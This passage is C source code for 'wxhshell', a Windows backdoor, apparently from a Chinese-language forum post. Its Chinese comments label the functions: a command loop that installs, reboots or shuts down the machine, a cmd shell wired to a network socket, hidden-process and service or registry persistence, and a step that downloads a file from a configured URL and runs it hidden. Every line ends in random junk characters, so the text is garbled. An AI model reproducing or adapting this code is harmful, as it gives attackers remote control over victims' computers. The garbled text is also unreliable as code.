  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"tNtLI  
  } leR" j  
  else { 418gcg6)  
-CwWs~!  
    switch(cmd[0]) { }FZp 840  
  y/H8+0sEk  
  // 帮助 `!_?uT  
  case '?': { N4s$.`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [:BW+6  
    break; 0O_E\- =  
  } 0$!.c~  
  // 安装 sv@}x[L  
  case 'i': { [|jIC  
    if(Install()) .N&QW `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bu;vpNa  
    else ]Px:d+wX:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XGL"gD   
    break; aK-N}T  
    } R4yJ.f  
  // 卸载 -^0KE/  
  case 'r': { =qan%=0"h  
    if(Uninstall()) Of!|,2`(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7;~ 2e  
    else ~;` fC|)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f&f[La  
    break; wH#Lb@cfZ0  
    } |O2|`"7  
  // 显示 wxhshell 所在路径 L-SdQTx_  
  case 'p': { ]2g5Ka[>w  
    char svExeFile[MAX_PATH]; X9SJ~n  
    strcpy(svExeFile,"\n\r"); aL{EkiR  
      strcat(svExeFile,ExeFile); 5t TLMZ`o  
        send(wsh,svExeFile,strlen(svExeFile),0); Y*"<@?n8?x  
    break; D=<t;+|  
    } qgh]@JJh  
  // 重启 dnk1Mu<  
  case 'b': { uLF\K+cz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dr}O+7_7%-  
    if(Boot(REBOOT)) ud 5x$`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r*xq(\v  
    else { 9  4 "f  
    closesocket(wsh); /]P%b K6B  
    ExitThread(0); zC[i <'h!T  
    } ^BQ>vI'.4  
    break; >Y44{D\`  
    } bXk:~LE  
  // 关机 x`wZtv\  
  case 'd': { zp}yiE!bl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4{c`g$j>  
    if(Boot(SHUTDOWN)) M,I68  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@oT7NB/n  
    else { jD$;q7fB  
    closesocket(wsh); |P^ikx6f5  
    ExitThread(0); zaQ$ Ht  
    } 3~#ZE;>#  
    break; G;87in ,}  
    } 2nVuz9h  
  // 获取shell 9(V=Ubj  
  case 's': { +*WUH513  
    CmdShell(wsh); hn*}5!^  
    closesocket(wsh); ':9%3Wq]j  
    ExitThread(0); @w+WLeJ$40  
    break; Z{Lmd`<w`j  
  } ~]jx+6k]  
  // 退出 N.ItyV  
  case 'x': { i+kFL$N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "0p +SZ~D  
    CloseIt(wsh); HE8'N=0  
    break; *)2x&~T*|  
    } qQ3 ]E][/  
  // 离开 g9RzzE!  
  case 'q': { Djg 1Qh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,K"r:)\  
    closesocket(wsh); {b\Y?t^>f  
    WSACleanup(); P TfN+  
    exit(1); ";%e~ =  
    break; eG a#$x?.  
        } Z_ iQU1  
  } 7R% PVgS4x  
  } $sB48LJuU'  
eA;j/&qH  
  // 提示信息 iPR!JX _  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Q0?ub]  
} e)fJd*P  
  } %`t]FV^#  
*rujdQf  
  return; $_%2D3-;D  
} I_R5\l}O+D  
TZvBcNi   
// shell模块句柄 &z{dr ~  
int CmdShell(SOCKET sock) *RUd!]bh  
{ VuYWb)@  
STARTUPINFO si; ^H@!)+ =  
ZeroMemory(&si,sizeof(si)); oi%5t)VsS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0%(4G83gw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sYW1T @  
PROCESS_INFORMATION ProcessInfo; 4okHAv8;  
char cmdline[]="cmd"; Lrm tPnL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dT*f-W  
  return 0; 8 RzF].)  
} k}+MvGq  
HZ[68T[8b  
// 自身启动模式 %Hh &u .  
int StartFromService(void) Cv?<}q  
{ +qu@dU0\`|  
typedef struct Huug_E+  
{ `SSP53R(0  
  DWORD ExitStatus; J%O[@jX1  
  DWORD PebBaseAddress; ?[*@T2Ck  
  DWORD AffinityMask; m,kv EQ3  
  DWORD BasePriority; |yId6v  
  ULONG UniqueProcessId; * 7zN  
  ULONG InheritedFromUniqueProcessId; 8Pnqmjjj  
}   PROCESS_BASIC_INFORMATION; .lNnY8<  
umHs" d  
PROCNTQSIP NtQueryInformationProcess; <7sF<KD  
|{}d5Z"5;}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?$`1%Y9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KqG$zC^N  
` i^`Q  
  HANDLE             hProcess; c=jTs+h'  
  PROCESS_BASIC_INFORMATION pbi; *n$m;yI  
z!Pdivx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }hObtAS  
  if(NULL == hInst ) return 0; hz>yv@1  
9 up* g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HCe-]nMd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o+6^|RP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J T0,Z  
!@]h@MC$7  
  if (!NtQueryInformationProcess) return 0; K_w0+oY a  
*6\`A!C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3ec==.  
  if(!hProcess) return 0; Nsy9 h}+A  
iu:p &h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iA{chQBr  
aF4V|?+  
  CloseHandle(hProcess); [ XY:MU e  
r)Mx.`d!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3<1HqU  
if(hProcess==NULL) return 0; R;Ix<y{U  
<}x|@u  
HMODULE hMod; *Tlws  
char procName[255]; /n<Ncf  
unsigned long cbNeeded; 9O 0  
O}\"$n>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jW+VUF-t  
}1^ tK(Am  
  CloseHandle(hProcess); ?6l,   
VHXR)}  
if(strstr(procName,"services")) return 1; // 以服务启动 $4ZDT]n  
#\!hBL @b  
  return 0; // 注册表启动 _QtQPK\+  
} s'fcAh,c6  
,a?\i JNb  
// 主模块 q_m#BE;t  
int StartWxhshell(LPSTR lpCmdLine) 3!L<=X  
{ -^nQ^Td=j  
  SOCKET wsl; /v5g;x_T  
BOOL val=TRUE; fU){]YP  
  int port=0; ;H#R{uR_<  
  struct sockaddr_in door; ]6c2[r?g{  
y[7xK}`_  
  if(wscfg.ws_autoins) Install(); `'k's]Y  
5F_:[H =   
port=atoi(lpCmdLine); kod_ 1LD  
Ivgwm6M  
if(port<=0) port=wscfg.ws_port; V44sNi  
J W yoh|  
  WSADATA data; ] !*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HDXjH|of  
gV.Pg[[1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4>ce,*B1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]V]@Zna@g  
  door.sin_family = AF_INET; ~6kA<(x   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pQm!Bt L  
  door.sin_port = htons(port); ]C:Ifh~  
0R!}}*Ee>q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gu%'M:Xe  
closesocket(wsl); /n3&e  
return 1; x`|tT%q@l  
} gS o(PW)  
I`}vdX)  
  if(listen(wsl,2) == INVALID_SOCKET) { b+#~N>|  
closesocket(wsl); @^4M~F%  
return 1; }T*xT>p^3  
} W;@ae,^  
  Wxhshell(wsl); 8J(zWV7 r  
  WSACleanup(); #di_V"  
?~y(--.t;T  
return 0; Cot\i\]jv  
(/P&;?j  
} ke6cZV5w  
hy`)]>9z~  
// 以NT服务方式启动 (9q{J(44  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |"E9DD]{  
{ YGO7lar  
DWORD   status = 0; r#w_=h)  
  DWORD   specificError = 0xfffffff; )aA9z(x  
!5 :[XvI#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EF^=3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7;-i_&vws  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qN,FX#DP  
  serviceStatus.dwWin32ExitCode     = 0; r0uXMr=Z96  
  serviceStatus.dwServiceSpecificExitCode = 0; wdDHRW0Y  
  serviceStatus.dwCheckPoint       = 0; JY8"TQ$x  
  serviceStatus.dwWaitHint       = 0; %[CM;|?B4  
{EHG |  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HaN _}UMP  
  if (hServiceStatusHandle==0) return; 4g^+y.,r_f  
rxk{Li<9  
status = GetLastError(); \osQwGPV  
  if (status!=NO_ERROR) S7>gNE;%]u  
{ [k{iN1n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q>c6ouuJ  
    serviceStatus.dwCheckPoint       = 0; '9Odw@tp  
    serviceStatus.dwWaitHint       = 0; .`#R%4Xl  
    serviceStatus.dwWin32ExitCode     = status; `-YSFQ~O,  
    serviceStatus.dwServiceSpecificExitCode = specificError; kxf=%<l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s ^@Cq=  
    return; ?Pw \&q  
  } +\$|L+@Z  
%~(i[Ur;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /<(ik&%N  
  serviceStatus.dwCheckPoint       = 0; O,Gn2Do  
  serviceStatus.dwWaitHint       = 0; v23Uh2[@Yy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *pUV-^uo  
} xVX||rrh  
^aWNtY' :  
// 处理NT服务事件,比如:启动、停止 0BD((oNg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (SVr>|Db  
{ 9+Hb`  
switch(fdwControl) ~*]`XL.-  
{ tBUQf*B  
case SERVICE_CONTROL_STOP: t"vO&+x  
  serviceStatus.dwWin32ExitCode = 0; 1)r_h(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^TuEp$Z=  
  serviceStatus.dwCheckPoint   = 0; ]+7c1MB(5  
  serviceStatus.dwWaitHint     = 0; 0\^2HjsJ  
  { ]Wm ?<7H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &nw ~gSe  
  } Ou,_l  
  return; ZTC1t_  
case SERVICE_CONTROL_PAUSE: V *y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2,nCGSfc  
  break; d+ko"F|  
case SERVICE_CONTROL_CONTINUE: [mvHa;-w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s""8V_,;  
  break; '+tT$k  
case SERVICE_CONTROL_INTERROGATE: ,WK$jHG]  
  break; jn Y3G  
}; ]}y'3aW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nQ3goVRFP  
} WN1-J(x6  
C P v}A  
// 标准应用程序主函数 o@;_(knb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y &+/[ [  
{ *lO+^\HXD  
TBT*j&!L  
// 获取操作系统版本 WfO$q^'?DP  
OsIsNt=GetOsVer(); CxQ,yd;>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Khd,|pM  
 Bz~h-  
  // 从命令行安装 Wy )g449  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?M(Wx  
'PbA/MN  
  // 下载执行文件 6\@, Lb  
if(wscfg.ws_downexe) { DK%eFCo<~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |%;txD  
  WinExec(wscfg.ws_filenam,SW_HIDE); a[l5k  
} f`rz)C03  
U# B  
if(!OsIsNt) { R/|{?:r?:x  
// 如果时win9x,隐藏进程并且设置为注册表启动 AE _~DZ:%c  
HideProc(); dig76D_[e  
StartWxhshell(lpCmdLine); ^k##a-t<_>  
} Jz'+@q6h  
else K 5[ 3WHQ  
  if(StartFromService()) bOKNWI   
  // 以服务方式启动 giJyMd}x  
  StartServiceCtrlDispatcher(DispatchTable); RVx<2,['  
else k<qH<<r*  
  // 普通方式启动 .CpO+z  
  StartWxhshell(lpCmdLine); zSCPp6  
"PtH F`mo  
return 0; ZW%`G@d"H-  
}
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只看该作者 1 发表于: 2006-10-10
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